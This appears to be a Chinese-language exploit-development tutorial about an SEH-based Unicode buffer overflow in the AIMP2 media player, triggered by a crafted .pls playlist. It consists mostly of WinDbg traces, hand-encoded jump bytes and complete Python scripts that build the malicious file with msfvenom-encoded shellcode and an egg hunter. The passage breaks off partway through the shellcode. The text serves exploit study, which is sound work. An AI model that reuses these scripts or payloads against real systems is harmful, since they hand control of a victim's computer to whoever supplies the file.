03e34b44 5a 00 3a 00 5c 00 38 00-5c 00 41 00 41 00 41 00 Z.:.\.8.\.A.A.A.
03e34b54 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03e34b64 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03e34b74 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03e34b84 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03e34b94 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03e34ba4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03e34bb4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:000> db 03e34b44+0n10000
03e37254 41 00 41 00 41 00 41 00-41 00 00 00 00 00 00 00 A.A.A.A.A.......
03e37264 00 00 00 00 00 00 00 00-00 00 00 00 22 66 bc 9e ............"f..
03e37274 14 cf 07 08 1a 27 00 00-5a 00 3a 00 5c 00 38 00 .....'..Z.:.\.8.
03e37284 5c 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 \.A.A.A.A.A.A.A.
03e37294 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03e372a4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03e372b4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
03e372c4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:000> !exchain
0012fd58: *** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2c.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\AIMP2\AIMP2c.exe
AIMP2c+a303 (0040a303)
0012fd8c: AIMP2c+9ed3 (00409ed3)
0012fdb8: AIMP2c+9bea (00409bea)
0012fe84: USER32!_except_handler4+0 (77d7629b)
CRT scope 0, func: USER32!UserCallWinProcCheckWow+150 (77d4a435)
0012fee4: USER32!_except_handler4+0 (77d7629b)
CRT scope 0, filter: USER32!DispatchMessageWorker+146 (77d4b405)
func: USER32!DispatchMessageWorker+159 (77d4b418)
0012ff48: AIMP2!FormsTApplicationRun$qqrv+a5 (004ba411)
0012ff54: AIMP2!FormsTApplicationRun$qqrv+de (004ba44a)
0012ff7c: AIMP2!SystemTryFinallyExit$qqrv+b8 (00446d78)
0012ffc4: ntdll!_except_handler4+0 (77ede0ed)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+2e (77f37eeb)
func: ntdll!__RtlUserThreadStart+63 (77f38260)
Invalid exception stack at ffffffff
</code></pre></div></div>
<p>虽然是fastcall,但结合IDA可以看出其传参是通过eax、edx、ecx,剩余的参数从右向左入栈。长度限制不起效就会使poc将栈空间打满覆盖SEH handler,感兴趣的同学可以试试直接覆盖返回地址的方法。然后和原文中的一样,<code class="language-plaintext highlighter-rouge">pop pop ret</code>后看看上下文环境:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=0045000e edx=77f071cd esi=00000000 edi=00000000
eip=0045000e esp=0012d718 ebp=0012d738 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
AIMP2!SysutilsWideLowerCase$qqrx17SystemWideString+0xc2:
0045000e 59 pop ecx
0:000> p
eax=00000000 ebx=00000000 ecx=77f071b9 edx=77f071cd esi=00000000 edi=00000000
eip=0045000f esp=0012d71c ebp=0012d738 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
AIMP2!SysutilsWideLowerCase$qqrx17SystemWideString+0xc3:
0045000f 5d pop ebp
0:000>
eax=00000000 ebx=00000000 ecx=77f071b9 edx=77f071cd esi=00000000 edi=00000000
eip=00450010 esp=0012d720 ebp=0012d800 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
AIMP2!SysutilsWideLowerCase$qqrx17SystemWideString+0xc4:
00450010 c3 ret
0:000>
eax=00000000 ebx=00000000 ecx=77f071b9 edx=77f071cd esi=00000000 edi=00000000
eip=0012fd58 esp=0012d724 ebp=0012d800 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0012fd58 41 inc ecx
0:000>
eax=00000000 ebx=00000000 ecx=77f071ba edx=77f071cd esi=00000000 edi=00000000
eip=0012fd59 esp=0012d724 ebp=0012d800 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0012fd59 006d00 add byte ptr [ebp],ch ss:0023:0012d800=05
0:000>
eax=00000000 ebx=00000000 ecx=77f071ba edx=77f071cd esi=00000000 edi=00000000
eip=0012fd5c esp=0012d724 ebp=0012d800 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0012fd5c 0e push cs
0:000>
eax=00000000 ebx=00000000 ecx=77f071ba edx=77f071cd esi=00000000 edi=00000000
eip=0012fd5d esp=0012d720 ebp=0012d800 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0012fd5d 004500 add byte ptr [ebp],al ss:0023:0012d800=76
0:000>
eax=00000000 ebx=00000000 ecx=77f071ba edx=77f071cd esi=00000000 edi=00000000
eip=0012fd60 esp=0012d720 ebp=0012d800 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0012fd60 42 inc edx
0:000> db eip
0012fd60 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fd70 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fd80 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fd90 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fda0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fdb0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fdc0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0012fdd0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
0:000> dd esp L8
0012d720 0012001b 0012d81c 0012d7d4 0012fd58
0012d730 77f071cd 0012fd58 0012d7e8 77f0718b
</code></pre></div></div>
<p>和原文中的类似但到next she的偏移为4077,在原文中因为使eax赋值为ebp+100再跳转执行,向后栈空间不够复制所有编码的shellcode,本文中的环境也是类似,eax最终会为<code class="language-plaintext highlighter-rouge">0012fe58</code>,无法容纳五百多字节的shellcode。</p>
<h2>向前跳转</h2>
<p>原文中的做法其实是借助eax向后跳,如果我们能向前跳,那么空间绝对是足够的。观察上下文可以发现,buf起始点为<code class="language-plaintext highlighter-rouge">0012dd38</code>,<code class="language-plaintext highlighter-rouge">pop pop ret</code>后ebp为<code class="language-plaintext highlighter-rouge">0012d800</code>,那么正好可以利用eax赋值为ebp+700,然后就可以跳转shellcode了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># mov eax, ebp
\x55 push ebp
\x6d add byte ptr [ebp], ch
\x58 pop eax
# add eax, 0x700
\x6d
\x05\x18\x11 add eax, 0x11001800
\x6d
\x2d\x11\x11 sub eax, 0x11001100
\x6d
# jmp eax
\x50 push eax
\x6d
\xc3 ret
</code></pre></div></div>
<p>调整好偏移就可以很轻松地利用了:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">headers</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">headers</span> <span class="o">+=</span> <span class="s">"[playlist]</span><span class="se">\n</span><span class="s">"</span>
<span class="n">headers</span> <span class="o">+=</span> <span class="s">"NumberOfEntries=3</span><span class="se">\n\n</span><span class="s">"</span>
<span class="n">headers</span> <span class="o">+=</span> <span class="s">"File1="</span>
<span class="n">padding_one</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">193</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX -f python -v shellcode
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 517 (iteration=0)
# x86/unicode_upper chosen with final size 517
# Payload size: 517 bytes
# Final size of python file: 2788 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x41\x51\x41\x49\x41\x51\x41\x50\x41\x35</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x35\x38\x41\x41\x50\x41\x5a\x41\x42\x41\x42</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x31\x31\x41\x49\x41\x4a\x51\x49\x31\x41\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b\x4c\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x43\x52\x4d\x30\x4d\x30\x4d\x30\x53\x30\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x49\x39\x55\x4e\x51\x57\x50\x51\x54\x44\x4b\x32</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x50\x30\x44\x4b\x52\x32\x4c\x4c\x44\x4b\x30</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x4d\x44\x44\x4b\x32\x52\x4e\x48\x4c\x4f\x37</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x47\x4f\x5a\x4d\x56\x50\x31\x4b\x4f\x36\x4c\x4f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x53\x31\x53\x4c\x4b\x52\x4e\x4c\x4d\x50\x39</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x48\x4f\x4c\x4d\x4b\x51\x47\x57\x39\x52\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x32\x52\x32\x42\x37\x44\x4b\x42\x32\x4e\x30\x34</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x4f\x5a\x4f\x4c\x34\x4b\x50\x4c\x4e\x31\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x38\x59\x53\x51\x38\x4b\x51\x58\x51\x52\x31\x44</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x51\x49\x4f\x30\x4d\x31\x48\x53\x44\x4b\x51</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x39\x4e\x38\x4a\x43\x4f\x4a\x30\x49\x34\x4b\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x34\x54\x4b\x4b\x51\x39\x46\x30\x31\x4b\x4f\x56</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x49\x31\x38\x4f\x4c\x4d\x4b\x51\x49\x37\x4e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x49\x50\x33\x45\x4c\x36\x4b\x53\x43\x4d\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x38\x4f\x4b\x33\x4d\x4e\x44\x52\x55\x49\x54\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x44\x4b\x52\x38\x4f\x34\x4d\x31\x48\x53\x51</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x56\x54\x4b\x4c\x4c\x50\x4b\x34\x4b\x52\x38\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x4d\x31\x39\x43\x34\x4b\x4d\x34\x44\x4b\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x5a\x30\x34\x49\x50\x44\x4e\x44\x4f\x34\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x31\x4b\x43\x31\x42\x39\x30\x5a\x32\x31\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x39\x50\x51\x4f\x31\x4f\x31\x4a\x54\x4b\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x4a\x4b\x54\x4d\x51\x4d\x32\x4a\x4b\x51\x44</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4d\x45\x35\x46\x52\x4d\x30\x4d\x30\x4b\x50\x32</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x43\x38\x4e\x51\x54\x4b\x42\x4f\x33\x57\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x49\x45\x47\x4b\x4c\x30\x47\x45\x36\x42\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x46\x31\x58\x47\x36\x35\x45\x57\x4d\x55\x4d\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x48\x55\x4f\x4c\x4c\x46\x43\x4c\x4b\x5a\x35</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x4b\x4b\x39\x50\x54\x35\x4d\x35\x57\x4b\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x47\x4d\x43\x53\x42\x52\x4f\x31\x5a\x4d\x30\x52</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\x4b\x4f\x58\x55\x33\x33\x33\x31\x52\x4c\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\x4e\x4e\x53\x35\x53\x48\x52\x45\x4d\x30\x41</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41</span><span class="s">"</span>
<span class="n">padding_two</span> <span class="o">=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">4077</span><span class="o">-</span><span class="mi">193</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
<span class="n">next_seh</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x41\x6d</span><span class="s">"</span>
<span class="n">handler</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x0e\x45</span><span class="s">"</span>
<span class="n">jumper</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x55\x6d\x58\x6d\x05\x18\x11\x6d\x2d\x11\x11\x6d\x50\x6d\xc3</span><span class="s">"</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"C"</span> <span class="o">*</span> <span class="mi">1000</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">headers</span> <span class="o">+</span> <span class="n">padding_one</span> <span class="o">+</span> <span class="n">shellcode</span> <span class="o">+</span> <span class="n">padding_two</span> <span class="o">+</span> <span class="n">next_seh</span> <span class="o">+</span> <span class="n">handler</span> <span class="o">+</span> <span class="n">jumper</span> <span class="o">+</span> <span class="n">junk</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"mr_mes_funky.pls"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<h2>编码egg hunter</h2>
<p>如果按照Part7中对example2的利用逻辑,当前环境下经过4次<code class="language-plaintext highlighter-rouge">pop eax</code>,再<code class="language-plaintext highlighter-rouge">add eax, 0x100</code>后eax即为<code class="language-plaintext highlighter-rouge">0012fe58</code>,距离栈底还有424字节,还是可以容纳<code class="language-plaintext highlighter-rouge">195*2</code>字节的unicode编码后的egg_hunter。</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">egg</span> <span class="o">=</span> <span class="s">"lary"</span>
<span class="n">egg_hunter</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8</span><span class="s">"</span> <span class="o">+</span> <span class="n">egg</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7</span><span class="s">"</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"egg_hunter.bin"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">egg_hunter</span><span class="p">)</span>
</code></pre></div></div>
<p>仅对egg_hunter进行编码,在内存中搜寻原始的egg和shellcode,最后再跳转执行也是可行的:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">headers</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">headers</span> <span class="o">+=</span> <span class="s">"[playlist]</span><span class="se">\n</span><span class="s">"</span>
<span class="n">headers</span> <span class="o">+=</span> <span class="s">"NumberOfEntries=3</span><span class="se">\n\n</span><span class="s">"</span>
<span class="n">headers</span> <span class="o">+=</span> <span class="s">"File1="</span>
<span class="n">padding_one</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">4077</span>
<span class="n">next_seh</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x41\x6d</span><span class="s">"</span>
<span class="n">handler</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x0e\x45</span><span class="s">"</span>
<span class="n">jumper</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x58\x6d\x58\x6d\x58\x6d\x58\x6d\x05\x02\x11\x6d\x2d\x01\x11\x6d\x50\x6d\xc3</span><span class="s">"</span>
<span class="n">padding_two</span> <span class="o">=</span> <span class="s">"B"</span> <span class="o">*</span> <span class="p">(</span><span class="mi">128</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">next_seh</span><span class="o">+</span><span class="n">handler</span><span class="o">+</span><span class="n">jumper</span><span class="p">))</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"C"</span> <span class="o">*</span> <span class="mi">500</span>
<span class="c1"># cat egg_hunter.bin | msfvenom -a x86 --platform windows -e x86/unicode_upper BufferRegister=EAX -f python -v egg_hunter
# Attempting to read payload from STDIN...
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 195 (iteration=0)
# x86/unicode_upper chosen with final size 195
# Payload size: 195 bytes
# Final size of python file: 1103 bytes
</span><span class="n">egg_hunter</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x33\x51\x41\x44\x41\x5a\x41\x42\x41\x52\x41</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31\x31</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x49\x51\x49\x41\x49\x51\x49\x31\x31\x31\x31</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x49\x41\x4a\x51\x49\x31\x41\x59\x41\x5a</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33\x30</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x50\x42\x39\x34\x34\x4a\x42\x33\x36\x53</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x48\x4a\x4b\x4f\x4c\x4f\x50\x42\x52\x32</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x5a\x4d\x32\x42\x38\x38\x4d\x4e\x4e\x4f</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x4c\x45\x51\x4a\x53\x44\x5a\x4f\x38\x38</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x4c\x31\x51\x53\x42\x54\x39\x54\x4b\x5a</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5a\x56\x4f\x44\x35\x4a\x4a\x46\x4f\x43\x45</span><span class="s">"</span>
<span class="n">egg_hunter</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5a\x47\x4b\x4f\x59\x57\x41\x41</span><span class="s">"</span>
<span class="n">egg</span> <span class="o">=</span> <span class="s">"lary"</span>
<span class="c1"># msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/alpha_upper
# x86/alpha_upper succeeded with size 455 (iteration=0)
# x86/alpha_upper chosen with final size 455
# Successfully added NOP sled from x86/single_byte
# Payload size: 471 bytes
# Final size of python file: 2540 bytes
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x42\x9f\x43\x93\xd6\x48\x37\xf5\x92\x90\x4a\x93</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x43\xf9\x92\x92\x89\xe3\xdb\xc9\xd9\x73\xf4\x5e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x56\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x4b\x58\x4c\x42\x43\x30\x35\x50\x55\x50\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x4d\x59\x5a\x45\x46\x51\x39\x50\x55\x34\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x56\x30\x50\x30\x4c\x4b\x30\x52\x44\x4c\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x30\x52\x42\x34\x4c\x4b\x43\x42\x46\x48\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x58\x37\x51\x5a\x51\x36\x36\x51\x4b\x4f\x4e</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x37\x4c\x45\x31\x33\x4c\x35\x52\x46\x4c\x47</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x59\x51\x48\x4f\x44\x4d\x45\x51\x4f\x37\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x32\x5a\x52\x46\x32\x56\x37\x4c\x4b\x56\x32\x42</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x54</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x33\x48\x5a\x43\x51\x58\x35\x51\x48\x51\x50</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x4c\x4b\x31\x49\x51\x30\x53\x31\x49\x43\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x51\x59\x45\x48\x5a\x43\x56\x5a\x50\x49\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x37\x44\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x53\x31\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x57\x36\x58\x4d\x30\x54\x35\x4b\x46\x45\x53\x53</span><span class="s">"</span>
